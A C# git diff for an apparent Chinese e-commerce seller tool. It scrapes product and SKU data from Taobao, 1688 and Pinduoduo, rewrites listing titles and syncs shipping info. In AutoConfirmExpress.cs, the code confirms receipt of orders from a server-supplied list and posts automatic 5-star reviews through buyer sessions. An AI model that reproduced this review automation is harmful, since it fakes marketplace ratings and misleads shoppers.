= Meaning.Replace("<", "<"); + Meaning = Meaning.Replace(">", ">"); + Meaning = Meaning.Replace("'", "'"); + Meaning = Meaning.Replace(""", "\""); + Meaning = Meaning.Replace("&", "&"); + + return Meaning; + } + /// + /// 设置skumap + /// + /// + /// + /// + public void SetSkuMapMoble(ref string html) + { + string prop = BaseRegex.GetMatchRegexString(ref html, "\"skuProps\":([\\w\\W]+?)],"); + string skuMap = string.Empty; + System.Text.RegularExpressions.MatchCollection mc = System.Text.RegularExpressions.Regex.Matches(html, "\"skuInfoMap\":([\\w\\W]+?)}},", System.Text.RegularExpressions.RegexOptions.IgnoreCase); + if (mc.Count > 0) + { + skuMap = mc[0].Groups[0].Value.ToString(); + } + skuMap = skuMap.Replace("\"skuInfoMap\":", "").Trim(','); + if (string.IsNullOrEmpty(skuMap) || string.IsNullOrEmpty(prop)) + { + return; + } + var m = BaseRegex.GetMatchRegex(ref prop, @"""prop"":""([^""]+?)"",""value"":\[([\w\W]+?\})\]\}"); + if (m == null || m.Count == 0) + { + LogSave.Add("获取Prop异常,请检查程序 " + Product.from_url); + return; + } + for (int i = 0; i < m.Count; i++) + { + PropBase p = new PropBase(); + string values = m[i].Groups[2].Value; + p.name = m[i].Groups[1].Value; + p.name = BaseRegex.Relpace(p.name, "(&[a-zA-z0-9]+?;)", ""); + bool had = false; + for (int j = 0; j < Product.Props.Count; j++) + { + if (Product.Props[j].name == p.name) + { + p = Product.Props[j]; + had = true; + break; + } + } + var mm = BaseRegex.GetMatchRegex(ref values, @"\{([^\}]+?)\}"); + if (mm.Count == 0) + { + LogSave.Add("获取Prop数值异常,请检查程序 " + Product.from_url); + return; + } + for (int j = 0; j < mm.Count; j++) + { + PropValueBase pr = new PropValueBase(); + string h = mm[j].Groups[1].Value; + h = UnTransferred(h).Replace(";", "").Replace(",", ""); + //h = BaseRegex.Relpace(h, "(&[a-zA-z0-9]+?;)", "").Replace(";", "").Replace(",", ""); + pr.name = BaseRegex.GetStringJson(ref h, "name"); + pr.number = new Random(Guid.NewGuid().GetHashCode()).Next(100, 1000); + pr.image = BaseRegex.GetStringJson(ref h, "imageUrl").Replace("null",null); + pr.image_from_url = BaseRegex.GetStringJson(ref h, "imageUrl").Replace("null", null); + p.Values.Add(pr); + } + if (!had) + { + p.sort = i + 1; + Product.Props.Add(p); + } + } + try + { + JObject ja = JObject.Parse(skuMap); + string temp = ja.ToString(); + string price = Product.price.ToString(); + foreach (var item in ja) + { + string result = item.ToString(); + string pri = BaseRegex.GetStringJson(ref result, "discountPrice"); + if (string.IsNullOrEmpty(pri)) + pri = BaseRegex.GetStringJson(ref result, "price"); + if (!string.IsNullOrEmpty(pri)) + price = pri; + string name = item.Key; + + string sale_count = BaseRegex.GetStringJson(ref result, "saleCount"); + string number = BaseRegex.GetStringJson(ref result, "canBookCount"); + name = UnTransferred(name); + name = BuildName(name); + if (string.IsNullOrEmpty(name)) + { + LogSave.Add("获取SKUmap名称异常,请检查程序 " + Product.from_url); + return; + } + SkuMapBase sm = new SkuMapBase(); + sm.name = name; + sm.price = decimal.Parse(price); + sm.number = int.Parse(number); + sm.sale_count = int.Parse(sale_count); + Product.SkuMaps.Add(sm); + } + } + catch + { + + } + //m = BaseRegex.GetMatchRegex(ref skuMap, "\"([\\s\\S]+?\":\\{\"specId\":[\\s\\S]+?skuId\":\"[\\d]+?\")"); + //if (m.Count == 0) + //{ + // LogSave.Add("获取skuMap异常,请检查程序 " + Product.from_url); + // return; + //} + //string price = BaseRegex.GetMatchRegexString(ref html, @"""priceRangeOriginal"":\[\[[\d]+, ([\d\.]+)?\]"); + //if (string.IsNullOrEmpty(price)) + //{ + // price = Product.price.ToString(); + //} + //for (int i = 0; i < m.Count; i++) + //{ + // string pri = BaseRegex.GetMatchRegexString(m[i].Groups[0].Value, @"""discountPrice"":""([\d\.]+)"""); + // if (string.IsNullOrEmpty(pri)) + // pri = BaseRegex.GetMatchRegexString(m[i].Groups[0].Value, @"""price"":""([\d\.]+)"""); + // if (!string.IsNullOrEmpty(pri)) + // price = pri; + // string name = BaseRegex.GetMatchRegexString(m[i].Groups[0].Value, "\"([\\w\\W]+?)\":{"); + + // string sale_count = BaseRegex.GetMatchRegexString(m[i].Groups[0].Value, "\"saleCount\":\"([\\w\\W]+?)\""); + // string number = BaseRegex.GetMatchRegexString(m[i].Groups[0].Value, "\"canBookCount\":\"([\\w\\W]+?)\""); + // name = UnTransferred(name); + // name = BuildName(name); + + // //name = BaseRegex.Relpace(name, "(&[a-zA-z0-9]+?;)", "").Replace(",", ""); + // if (string.IsNullOrEmpty(name)) + // { + // LogSave.Add("获取SKUmap名称异常,请检查程序 " + Product.from_url); + // return; + // } + // SkuMapBase sm = new SkuMapBase(); + // sm.name = name; + // sm.price = decimal.Parse(price); + // sm.number = int.Parse(number); + // sm.sale_count = int.Parse(sale_count); + // Product.SkuMaps.Add(sm); + //} + + + } + + /// + /// 设置skumap + /// + /// + /// + /// + public void SetSkuMap(ref string html, string url) + { + string prop = BaseRegex.GetMatchRegexString(ref html, "\"skuProps\":([^\n]+?)\n"); + if (string.IsNullOrEmpty(prop)) + { + prop = BaseRegex.GetMatchRegexString(ref html, "skuProps:([^\n]+?)\n"); + } + string skuMap = BaseRegex.GetMatchRegexString(ref html, "\"skuMap\":([^\n]+?)\n"); + if (string.IsNullOrEmpty(skuMap)) + { + skuMap = BaseRegex.GetMatchRegexString(ref html, "skuMap:([^\n]+?)\n"); + } + if (string.IsNullOrEmpty(skuMap) || string.IsNullOrEmpty(prop)) + { + //LogSave.Add("获取Prop或者skuMap异常,请检查程序 " + url); + return; + } + var m = BaseRegex.GetMatchRegex(ref prop, @"""prop"":""([^""]+?)"",""value"":\[([\w\W]+?\})\]\}"); + if (m == null || m.Count == 0) + { + LogSave.Add("获取Prop异常,请检查程序 " + url); + return; + } + for (int i = 0; i < m.Count; i++) + { + PropBase p = new PropBase(); + string values = m[i].Groups[2].Value; + p.name = m[i].Groups[1].Value; + p.name = BaseRegex.Relpace(p.name, "(&[a-zA-z0-9]+?;)", ""); + bool had = false; + for (int j = 0; j < Product.Props.Count; j++) + { + if (Product.Props[j].name == p.name) + { + p = Product.Props[j]; + had = true; + break; + } + } + var mm = BaseRegex.GetMatchRegex(ref values, @"\{([^\}]+?)\}"); + //var mmm = BaseRegex.GetMatchRegex(ref values, @"""imageUrl"":""([^""]+?)"""); + if (mm.Count == 0) + { + LogSave.Add("获取Prop数值异常,请检查程序 " + url); + return; + } + for (int j = 0; j < mm.Count; j++) + { + PropValueBase pr = new PropValueBase(); + string h = mm[j].Groups[1].Value; + h = BaseRegex.Relpace(h, "(&[a-zA-z0-9]+?;)", "").Replace(";", "").Replace(",", ""); + pr.name = BaseRegex.GetStringJson(ref h, "name"); + pr.number = new Random(Guid.NewGuid().GetHashCode()).Next(100, 1000); + pr.image = BaseRegex.GetStringJson(ref h, "imageUrl"); + pr.image_from_url = BaseRegex.GetStringJson(ref h, "imageUrl"); + p.Values.Add(pr); + } + if (!had) + { + p.sort = i + 1; + Product.Props.Add(p); + } + } + m = BaseRegex.GetMatchRegex(ref skuMap, @"""([^""]+?)"":{""price"":""([^""]+?)"""); + if (m.Count == 0) + { + m = BaseRegex.GetMatchRegex(ref skuMap, @"""([^""]+?)"":\{[^\}]*""canBookCount"":([\d]+),[^\}]+?""saleCount"":([\d]+)"); + if (m.Count == 0) + { + m = BaseRegex.GetMatchRegex(ref skuMap, @"""([^""]+?)"":[\w\W]+?,""saleCount"":([\d]+)[^\}]+?,""canBookCount"":([\d]+),[^\}]+?\}"); + } + if (m.Count == 0) + { + m = BaseRegex.GetMatchRegex(ref skuMap, @"""([^""]+?)"":[\w\W]+?,""saleCount"":([\d]+),""canBookCount"":([\d]+),[^\}]+?\}"); + } + if (m.Count == 0) + { + LogSave.Add("获取skuMap异常,请检查程序 " + url); + return; + } + string price = BaseRegex.GetMatchRegexString(ref html, @"""priceRangeOriginal"":\[\[[\d]+, ([\d\.]+)?\]"); + if (string.IsNullOrEmpty(price)) + { + price = Product.price.ToString(); + //LogSave.Add("获取统一批发价异常,请检查程序 " + url); + //return; + } + for (int i = 0; i < m.Count; i++) + { + string pri = BaseRegex.GetMatchRegexString(m[i].Groups[0].Value, @"""discountPrice"":""([\d\.]+)"""); + if (string.IsNullOrEmpty(pri)) + pri = BaseRegex.GetMatchRegexString(m[i].Groups[0].Value, @"""price"":""([\d\.]+)"""); + if (!string.IsNullOrEmpty(pri)) + price = pri; + string name = m[i].Groups[1].Value; + string number = m[i].Groups[2].Value=="0"?"1": m[i].Groups[2].Value; + string sale_count = m[i].Groups[3].Value; + name = BuildName(name); + name = BaseRegex.Relpace(name, "(&[a-zA-z0-9]+?;)", "").Replace(",", ""); + if (string.IsNullOrEmpty(name)) + { + LogSave.Add("获取SKUmap名称异常,请检查程序 " + url); + return; + } + SkuMapBase sm = new SkuMapBase(); + sm.name = name; + sm.price = decimal.Parse(price); + sm.number = int.Parse(number); + sm.sale_count = int.Parse(sale_count); + Product.SkuMaps.Add(sm); + } + } + else + { + for (int i = 0; i < m.Count; i++) + { + string price = m[i].Groups[2].Value; + string name = m[i].Groups[1].Value; + name = BuildName(name); + name = BaseRegex.Relpace(name, "(&[a-zA-z0-9]+?;)", "").Replace(",", ""); + if (string.IsNullOrEmpty(name)) + { + LogSave.Add("获取SKUmap名称异常,请检查程序 " + url); + return; + } + SkuMapBase sm = new SkuMapBase(); + sm.name = name; + sm.price = decimal.Parse(price); + sm.number = new Random(Guid.NewGuid().GetHashCode()).Next(100, 1000); + Product.SkuMaps.Add(sm); + } + } + } + + + /// + /// 生成名称 + /// + /// + /// + private string BuildName(string name) + { + if (!name.Contains(">") && !name.Contains(">")) + return Product.Props[0].name + ":" + name; + name = name.Replace(">", ">"); + string[] l = name.Split('>'); + if (l.Length != Product.Props.Count) + { + return ""; //数量不匹配可能有错误 + } + string temp = ""; + for (int i = 0; i < l.Length; i++) + { + temp += ";" + Product.Props[i].name + ":" + l[i]; + } + return temp.Substring(1); + } + } +} diff --git a/Work/Api/AutoConfirmExpress.cs b/Work/Api/AutoConfirmExpress.cs new file mode 100644 index 0000000..cb281e6 --- /dev/null +++ b/Work/Api/AutoConfirmExpress.cs @@ -0,0 +1,307 @@ +using System; +using System.Collections.Generic; +using System.Text; +using System.Threading; +using AllBase; + +namespace Work.Api +{ + public class AutoConfirmExpress + { + public static List ExpressList = new List(); + public int BuyType; + public AutoConfirmExpress(int buyType) + { + BuyType = buyType; + if (ExpressList.Count > 0) + { + return; + } + var m = BaseRegex.GetMatchRegex(ref ExpressNames, @"([^<]+?)"); + for (int i = 0; i < m.Count; i++) + { + string key = m[i].Groups[1].Value; + string value = m[i].Groups[2].Value; + KeyValueBase k = new KeyValueBase(key, value); + ExpressList.Add(k); + } + } + + public static List TaobaoOrder = new List(); + + public void GetTaobao(Dictionary beforeOrder) + { + + //Dictionary>> chars = new Dictionary>>(); + + string url = "https://buyertrade.taobao.com/trade/itemlist/list_bought_items.htm"; + string refere = url; + string html = GetPostTaobaoHtml.UploadTaobao(url, refere, false); + html = GetHtml.Decode(html); + if (!string.IsNullOrEmpty(html)) + html = html.Replace("\\\"", "\"").Replace("\\/", "/"); + int page = BaseRegex.GetIntJson(ref html, "totalPage"); + for (int k = 1; k <= page; k++) + { + if (k != 1) + { + string data = + "buyerNick=&dateBegin=0&dateEnd=0&lastStartRow=&logisticsService=&options=0&orderStatus=&pageNum=" + k + + "&pageSize=15&queryBizType=&queryOrder=desc&rateStatus=&refund=&sellerNick=&prePageNo=2"; + url = + "https://buyertrade.taobao.com/trade/itemlist/asyncBought.htm?action=itemlist/BoughtQueryAction&event_submit_do_query=1&_input_charset=utf8"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data); + Thread.Sleep(5 * 1000); + } + + var m = BaseRegex.GetMatchRegex(ref html, @"\{""extra"":([\w\W]+?)""quantity"":""([\d]+)"""); + for (int i = 0; m != null && i < m.Count; i++) + { + string list = m[i].Groups[0].Value; + string oid = BaseRegex.GetLongJson(ref list, "id").ToString(); + if (!beforeOrder.ContainsKey(oid)) + { + continue; + } + string status = BaseRegex.GetStringJson(ref list, "tradeStatus"); + if (status != "WAIT_BUYER_CONFIRM_GOODS" && status != "TRADE_BUYER_SIGNED" && status != "TRADE_CLOSED" && status != "TRADE_FINISHED") + { + continue; + } + string sell = BaseRegex.GetMatchRegexString(ref list, @"""seller"":\{([^\}]+?)\}"); + long shopId = BaseRegex.GetLongJson(ref sell, "id"); + url = "https://wuliu.taobao.com/user/order_detail_new.htm?trade_id=" + oid + "&seller_id=" + shopId; + html = GetPostTaobaoHtml.UploadTaobao(url, refere, false); + Thread.Sleep(3000); + string no = BaseRegex.GetMatchRegexString(ref html, + @"\s+([^<]+?)"); + string company = BaseRegex.GetMatchRegexString(ref html, + @"\s+([^<]+?)"); + if (string.IsNullOrEmpty(no) || string.IsNullOrEmpty(company)) + { + continue; + } + no = no.Trim(); + company = company.Trim(); + var express = GetExpressId(company); + if (express == null) + { + LogSave.Add("没有找到快递公司"); + continue; + } + company = express.Value; + int companyId = int.Parse(express.Key); + UpdateServer(beforeOrder[oid], company, no, companyId); + } + } + + } + + public KeyValueBase GetExpressId(string company) + { + for (int i = 0; i < ExpressList.Count; i++) + { + if (ExpressList[i].Value == company || ExpressList[i].Value.Replace("快递", "速递") == company || ExpressList[i].Value.Replace("快递", "速运") == company) + return ExpressList[i]; + } + for (int i = 0; i < ExpressList.Count; i++) + { + if (ExpressList[i].Value.Length > 1 && company.Length > 1 && ExpressList[i].Value.Substring(0, 2) == company.Substring(0, 2)) + return ExpressList[i]; + } + return null; + } + + public void Get() + { + int page = 1; + string url, html; + List orders = new List(); + Dictionary beforeOrder = new Dictionary(); + for (int p = 0; p < page; p++) + { + Thread.Sleep(1000); + string data = UserLogin.GetSignaturex(); + url = BaseClass.BuildObjString("pay_group_order&act=get_confirm_order&buy_type=" + BuyType + "&page=" + p); + html = GetHtml.PostUtf8(url, data); + page = BaseRegex.GetIntValue(html, "page"); + if (string.IsNullOrEmpty(html)) + { + //MessageBox.Show("获取订单列表网络异常,请稍后重试", "提示"); + LogSave.Add("拼单", "获取订单列表网络异常,请稍后重试"); + return; + } + var mm = BaseRegex.GetMatchRegex(ref html, "]+?)>"); + for (int i = 0; i < mm.Count; i++) + { + string list = mm[i].Groups[0].Value; + string orderId = BaseRegex.GetStringJson(ref list, "order_id_buy"); + string orderIdb = BaseRegex.GetStringJson(ref list, "order_id"); + if (string.IsNullOrEmpty(orderId)) + { + continue; + } + orders.Add(orderId); + if (!beforeOrder.ContainsKey(orderId)) + beforeOrder.Add(orderId, orderIdb); + } + } + + url = BaseClass.NewUrl+"/orders.html?type=3&refer_page_name=personal"; + string refere = BaseClass.NewUrl+"/"; + html = GetPostTaobaoHtml.UploadTaobao(url, refere, true); + var m = BaseRegex.GetMatchRegex(ref html, @"\{""group_id"":([\w\W]+?)""order_sn"":([\w\W]+?)\}"); + if (m == null || m.Count == 0) + m = BaseRegex.GetMatchRegex(ref html, @"\{""order_sn""(.*?)""biz_type"":[\d]+"); + string lastOrderId = ""; + string status = "6"; + for (int i = 0; m != null && i < m.Count; i++) + { + string list = m[i].Groups[0].Value; + string oid = BaseRegex.GetStringJson(ref list, "order_sn"); + lastOrderId = oid; + string pid = BaseRegex.GetLongJson(ref list, "goods_id").ToString(); + string statusDesc = BaseRegex.GetStringJson(ref list, "order_status_desc"); + long order_time = BaseRegex.GetLongJson(ref list, "order_time"); + if (!orders.Contains(oid)) + continue; + if (BuyType == 1) + { + if (order_time > BaseClass.GetTime(DateTime.Now) - 5 * 84600) + continue; + ConfirmOrder(oid, pid); + } + + if (BuyType == 2) + { + url = BaseClass.NewUrl+"/order.html?order_sn=" + oid + + "&refer_page_name=my_order&refer_page_id=my_order_1513009667550_P4xCgmERE6&refer_page_sn=10032"; + html = GetPostTaobaoHtml.UploadTaobao(url, refere, true); + string shippingName = BaseRegex.GetStringJson(ref html, "shippingName"); + string trackingNumber = BaseRegex.GetStringJson(ref html, "trackingNumber"); + string temp = BaseRegex.GetMatchRegexString(ref html, @"""shipping"":\{(.*?)\}"); + int expressId = BaseRegex.GetIntJson(ref temp, "id"); + if (expressId > 0) + { + UpdateServer(beforeOrder[oid], shippingName, trackingNumber, expressId); + } + } + } + page = 0; + while (m != null && m.Count > 0 && page < 100) + { + page++; + url = + "http://apiv4.yangkeduo.com/ordersv2/unreceived?size=10&offset=" + lastOrderId + "&pdduid=" + BaseClass.PddUid; + refere = + BaseClass.NewUrl+"/orders.html?type=3&refer_page_name=personal&refer_page_id=personal_1513007415720_UV8kas6VCW&refer_page_sn=10001"; + html = GetPostTaobaoHtml.UploadTaobao(url, refere, true); + m = BaseRegex.GetMatchRegex(ref html, @"\{""group_id"":([\w\W]+?)""order_sn"":([\w\W]+?)\}"); + if (m == null || m.Count == 0) + m = BaseRegex.GetMatchRegex(ref html, @"\{""order_sn""(.*?)""biz_type"":[\d]+"); + for (int i = 0; m != null && i < m.Count; i++) + { + string list = m[i].Groups[0].Value; + string oid = BaseRegex.GetStringJson(ref list, "order_sn"); + lastOrderId = oid; + string pid = BaseRegex.GetLongJson(ref list, "goods_id").ToString(); + string statusDesc = BaseRegex.GetStringJson(ref list, "order_status_desc"); + long order_time = BaseRegex.GetLongJson(ref list, "order_time"); + if (oid == "180622-684676220032434") + { + } + if (!orders.Contains(oid)) + continue; + if (BuyType == 1) + { + if (order_time > BaseClass.GetTime(DateTime.Now) - 5 * 84600) + continue; + ConfirmOrder(oid, pid); + } + if (BuyType == 2) + { + url = BaseClass.NewUrl+"/order.html?order_sn=" + oid + + "&refer_page_name=my_order&refer_page_id=my_order_1513009667550_P4xCgmERE6&refer_page_sn=10032"; + html = GetPostTaobaoHtml.UploadTaobao(url, refere, true); + string shippingName = BaseRegex.GetStringJson(ref html, "shippingName"); + string trackingNumber = BaseRegex.GetStringJson(ref html, "trackingNumber"); + string temp = BaseRegex.GetMatchRegexString(ref html, @"""shipping"":\{(.*?)\}"); + int expressId = BaseRegex.GetIntJson(ref temp, "id"); + if (expressId > 0) + { + UpdateServer(beforeOrder[oid], shippingName, trackingNumber, expressId); + } + Thread.Sleep(1000); + } + } + Thread.Sleep(1000); + } + GetTaobao(beforeOrder); + LogSave.Add("拼单", "自动确认收货全部完成"); + } + + public void ConfirmOrder(string oid, string goods_id) + { + string url = "http://apiv4.yangkeduo.com/order/" + oid + "/received?pdduid=" + BaseClass.PddUid + "&is_back=1"; + string data = "{}"; + string refere = BaseClass.NewUrl+"/orders.html?refer_page_name=login&refer_page_id=login_1513005785399_B4Dxk8TYgA&type=3&order_index=0"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data); + + refere = BaseClass.NewUrl+"/comments.html?order_sn=" + oid + "&goods_id=" + goods_id + + "&page_el_sn=99664&type=3&refer_page_name=my_order&refer_page_id=my_order_1513006052449_n43miXeWuI&refer_page_sn=10032&refer_page_el_sn=99664"; + url = "http://apiv4.yangkeduo.com/v2/order/goods/review?pdduid=" + BaseClass.PddUid; + data = "{\"goods_id\":" + goods_id + ",\"order_sn\":\"" + oid + "\",\"desc_score\":5,\"logistics_score\":5,\"service_score\":5,\"comment\":\"\",\"pictures\":[]}"; + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data); + if (html.Contains("rating_id")) + { + LogSave.Add("拼单", "确认收货成功:" + oid); + } + Thread.Sleep(300); + } + + public void UpdateServer(string order_id, string shippingName, string trackingNumber, int expressId) + { + StringBuilder s = new StringBuilder(); + s.Append("&status=" + 8); + s.Append("&oid=" + order_id); + s.Append("&express_name=" + shippingName); + s.Append("&express_id=" + expressId); + s.Append("&express_no=" + trackingNumber); + s.Append("&get_time=1"); + string data = UserLogin.GetSignaturex(); + string url = BaseClass.BuildObjString("pay_group_order&act=update&buy_type=" + BuyType); + string html = GetHtml.PostUtf8(url, data + s); + if (html != "ok") + { + Thread.Sleep(10 * 1000); + data = UserLogin.GetSignaturex(); + html = GetHtml.PostUtf8(url, data + s); + } + if (html != "ok") + { + Thread.Sleep(30 * 1000); + data = UserLogin.GetSignaturex(); + html = GetHtml.PostUtf8(url, data + s); + } + if (html != "ok") + LogSave.Add("拼单", "自动提交物流信息失败,请检查网络"); + else + { + LogSave.Add("拼单", "返回物流信息完成:" + order_id); + } + } + + public void ResetErrorSend() + { + string data = UserLogin.GetSignaturex(); + string url = BaseClass.BuildObjString("pay_group_order&act=reset_status"); + string html = GetHtml.PostUtf8(url, data); + if (html != "ok") + { + } + + } + + public string ExpressNames = "申通快递百世快递顺丰快递圆通快递赛澳递晟邦物流中通快递全峰快递优速快递邮政EMS天天快递京东配送韵达快递快捷快递国通快递宅急送快递如风达德邦快递邮政快递包裹龙邦快递联邦快递九曳供应链南京晟邦万象物流立即送门对门安达信海外快递飞远物流汇文快递黄马甲速尔快递亚马逊物流黑猫宅急便上海赛澳递城市100芝麻开门顺捷丰达汇通小红马其他跨越速递usps青岛安捷贝海国际速递环球速运全一快递远成快运联众国际快运天地华宇中邮速递EMS-国际件中铁物流新邦物流Flash Express新顺丰NSFDCS GLOBAL日日顺物流苏宁快递百世快运德邦物流微特派AAE全球专递AramexAsendia USACity-LinkCOEDHL德国DHL全球DHL中国EMS国际FedEx美国FedEx中国OCSOnTracTNTUPS阿尔巴尼亚邮政阿根廷邮政阿联酋邮政爱沙尼亚邮政奥地利邮政澳大利亚邮政巴基斯坦邮政巴西邮政白俄罗斯邮政百福东方包裹信件保加利亚邮政比利时邮政波兰邮政传喜物流大田物流递四方俄速通法国邮政凡宇快递飞豹快递飞远(爱彼西)配送芬兰邮政哥伦比亚邮政韩国邮政恒路物流华企快运加运美佳吉快运佳怡物流嘉里大通捷克邮政筋斗云物流京广速递克罗地亚邮政拉脱维亚邮政黎巴嫩邮政联昊通马耳他邮政马其顿邮政毛里求斯邮政秘鲁邮政民邦快递民航快递明亮物流摩尔多瓦邮政南非邮政挪威邮政葡萄牙邮政全日通日本邮政瑞典邮政瑞士邮政塞尔维亚邮政三态速递沙特邮政圣安物流盛丰物流盛辉物流斯洛伐克邮政斯洛文尼亚邮政穗佳物流泰国邮政土耳其邮政万家物流乌克兰邮政西班牙邮政信丰物流匈牙利邮政亚风速递亚美尼亚邮政燕文物流意大利邮政银捷速递印度邮政英国皇家邮政邮政标准快递邮政国际包裹越丰物流运通中港快递增益速递智利邮政中俄快递中铁快运快服务快递优邦国际速运天际快递飞洋快递斑马物联网易客满京东大件物流速必达"; + } +} diff --git a/Work/Api/BigDataCenter.cs b/Work/Api/BigDataCenter.cs new file mode 100644 index 0000000..b44ed3a --- /dev/null +++ b/Work/Api/BigDataCenter.cs @@ -0,0 +1,131 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using AllBase; +using Work.CollectClass; + +namespace Work.Api +{ + public class BigDataCenter + { + public string Name; + public static Dictionary> Keywords = new Dictionary>(); + public static List KeywordTemp = new List(); + public static int PriceBegin = 0, PriceEnd = 0, SoldBegin = 0, SoldEnd = 0,Count=0; + public static bool Taobao = false, Alibaba = false, Pinduoduo = false; + public static List ProductTemp = new List(); + public static List KeywordString = new List(); + + public BigDataCenter(string name) + { + Name = name; + } + + public void Get() + { + string url = "http://pcat.qixiaoke.com/taobao/pinduoduo_search.php"; + for (int i = 0; i < KeywordString.Count; i++) + { + string key = KeywordString[i]; + int count = Keywords.ContainsKey(key) ? Keywords[key].Count : Count; + List titles = Keywords.ContainsKey(key) ? Keywords[key] : new List(); + string data = UserLogin.GetSignaturex(); + data += "&keyword=" + GetHtml.UrlEncodeUtf8(key) + "&count=" + count; + data += "&pi=" + PriceBegin + "&pa=" + PriceEnd + "&si=" + SoldBegin + "&sa=" + SoldEnd; + if (Taobao) + { + string html = GetHtml.PostUtf8(url, data + "&sid=1"); + Data(html, titles); + } + if (Alibaba) + { + string html = GetHtml.PostUtf8(url, data + "&sid=3"); + Data(html, titles); + } + if (Pinduoduo) + { + string html = GetHtml.PostUtf8(url, data + "&sid=2"); + Data(html, titles); + } + } + + } + + public void Data(string html, List list) + { + html = GetHtml.Decode(html).Replace("\\/","/"); + var m = BaseRegex.GetMatchRegex(ref html, @"""attrs"":\{([^\}]+?)\}"); + for (int j = 0; m != null && j < m.Count ; j++) + { + if(list.Count>0 && j>= list.Count) + break; + string li = m[j].Groups[1].Value; + TaobaoProductBase t = new TaobaoProductBase(); + t.FromId = BaseRegex.GetLongJson(ref li, "product_id"); + int tp = BaseRegex.GetIntJson(ref li, "site_id"); + t.FromType = "淘宝"; + if (tp == 2) + t.FromType = "内部数据"; + if (tp == 3) + t.FromType = "阿里巴巴"; + t.Titlte = BaseRegex.GetStringJson(ref li, "name"); + t.Cat1 = BaseRegex.GetIntJson(ref li, "cat1"); + t.Cat2 = BaseRegex.GetIntJson(ref li, "cat2"); + t.Cat3 = BaseRegex.GetIntJson(ref li, "cat3"); + t.CatId = BaseRegex.GetIntJson(ref li, "cat_id"); + if (t.Cat3 != t.CatId) + t.Cat4 = t.CatId; + FromTitleToCat f = new FromTitleToCat(); + t.MainCatId = f.GetMainCatId(t.Cat1); + t.MainCatName = f.MainCatName; + if (list.Count > j) + { + t.Build = true; + t.Titlte = list[j]; + } + t.Price = BaseRegex.GetDecimalJson(ref li, "price_min"); + t.SaleCount = BaseRegex.GetIntJson(ref li, "sold_count"); + BigDataBuild.Product.Add(t); + ProductTemp.Add(t); + } + } + + public string Input(string dir) + { + string message = "无导入数据"; + string[] l = Directory.GetFiles(dir); + for (int i = 0; i < l.Length; i++) + { + string name = Path.GetFileNameWithoutExtension(l[i]); + if(string.IsNullOrEmpty(name)) + continue; + List keywords = new List(); + string[] ll = FileBase.ReadAllLines(l[i]); + for (int j = 0; j < ll.Length; j++) + { + if (string.IsNullOrEmpty(ll[j]) || ll[j].Length>32 || ll[j].Length<20) + continue; + string key = ll[j].Trim().Replace("\t", " "); + if (keywords.Contains(key)) + continue; + keywords.Add(key); + } + if (Keywords.ContainsKey(name)) + { + Keywords[name] = keywords; + continue; + } + Keywords.Add(name, keywords); + KeywordTemp.Add(name); + message = "导入成功"; + } + return message; + } + } + + + +} diff --git a/Work/Api/BuildNewTitle.cs b/Work/Api/BuildNewTitle.cs new file mode 100644 index 0000000..04fe766 --- /dev/null +++ b/Work/Api/BuildNewTitle.cs @@ -0,0 +1,708 @@ +using AllBase; +using System; +using System.Threading; +using Work.CollectClass; +using Work.ManageClass; + +namespace Work.Api +{ + public class BuildNewTitle + { + public ShopChatBase Shop; + public long Pid; + public string Title,Name; + public string[] NoWords = "✅,💯,★".Split(','); + public bool SetNewTitle = false; + public static bool BeforRand = false,KeepAll = false; + public static long endAdvanceTime=0; + public BuildNewTitle(ShopChatBase shop, long pid, string title, string name) + { + Shop = shop; + Pid = pid; + Title = title; + Name = name; + } + public BuildNewTitle(ShopChatBase shop, long pid, string title, string name,bool setNewTitle) + { + Shop = shop; + Pid = pid; + Title = title; + Name = name; + SetNewTitle = setNewTitle; + } + + public void Set() + { + GetProductDetail ge = new GetProductDetail(Shop, Name); + var r = ge.Get(Pid); + if (r == null) + { + LogSave.Add(Name,"获取失败,店铺:"+Shop.ShopName +" ID:"+Pid); + return; + } + string imageString = "", apiContentString = ""; + for (int i = 0; i < r.carousel_gallery_list.Count; i++) + { + imageString += ",\"" + r.carousel_gallery_list[i] + "\""; + } + for (int i = 0; i < r.detail_gallery_list.Count; i++) + { + apiContentString += ",\"" + r.detail_gallery_list[i] + "\""; + } + string skuApiStringNew = ""; + int price = int.MaxValue; + for (int i = 0; i < r.sku_list.Count; i++) + { + if (price > r.sku_list[i].multi_price) + price = r.sku_list[i].multi_price; + string spec = ""; + for (int j = 0; j < r.sku_list[i].spec.Count; j++) + spec += "," + r.sku_list[i].spec[j].spec_id; + if (!string.IsNullOrEmpty(spec)) + spec = spec.Substring(1); + skuApiStringNew += ",{\"is_onsale\":" + r.sku_list[i].is_onsale + ",\"limit_quantity\":" + r.sku_list[i].limit_quantity + + ",\"price\":\"" + r.sku_list[i].price + "\",\"weight\":1000,\"multi_price\":\"" + r.sku_list[i].multi_price + + "\",\"thumb_url\":\"" + r.sku_list[i].thumb_url + "\",\"out_sku_sn\":\"" + r.sku_list[i].out_sku_sn + + "\",\"quantity\":" + r.sku_list[i].quantity + ",\"spec_id_list\":\"[" + spec + "]\"}"; + } + if (SetNewTitle && !KeepAll) + { + string upTitle = BaseRegex.GetMatchRegexString(ref r.goods_desc, @"【【【([\w\W]{10,60})】】"); + if (string.IsNullOrEmpty(upTitle)) + { + upTitle = r.goods_name; + r.goods_desc += "【【【"+r.goods_name+"】】"; + } + BigDataBuild bd = new BigDataBuild(Name); + if (BeforRand) + { + Title = bd.GetRandTitle(upTitle); + } + else + { + string mainKey = bd.GetMainKeywords(upTitle); + if (string.IsNullOrEmpty(mainKey)) + { + LogSave.Add(Name, "没有找到主关键词"); + return; + } + Title = bd.GetAllTitle(mainKey); + if (string.IsNullOrEmpty(Title)&& mainKey.Split(' ').Length>2) + { + string[] l = mainKey.Split(' '); + string keyword = ""; + for (int i = 0; i < 3; i++) + { + keyword += l[i]; + } + Title = bd.GetAllTitle(keyword); + } + if (string.IsNullOrEmpty(Title)) + { + Title = bd.GetRandTitle(upTitle); + } + } + Title = BaseClass.SubCharLength(Title, 60); + + } + if (KeepAll) + Title = r.goods_name; + + r.goods_name = BaseClass.SubCharLength(r.goods_name, 60); + foreach (string noWord in NoWords) + { + if (r.goods_name.Contains(noWord)) + r.goods_name = r.goods_name.Replace(noWord, ""); + if (r.goods_desc.Contains(noWord)) + r.goods_desc = 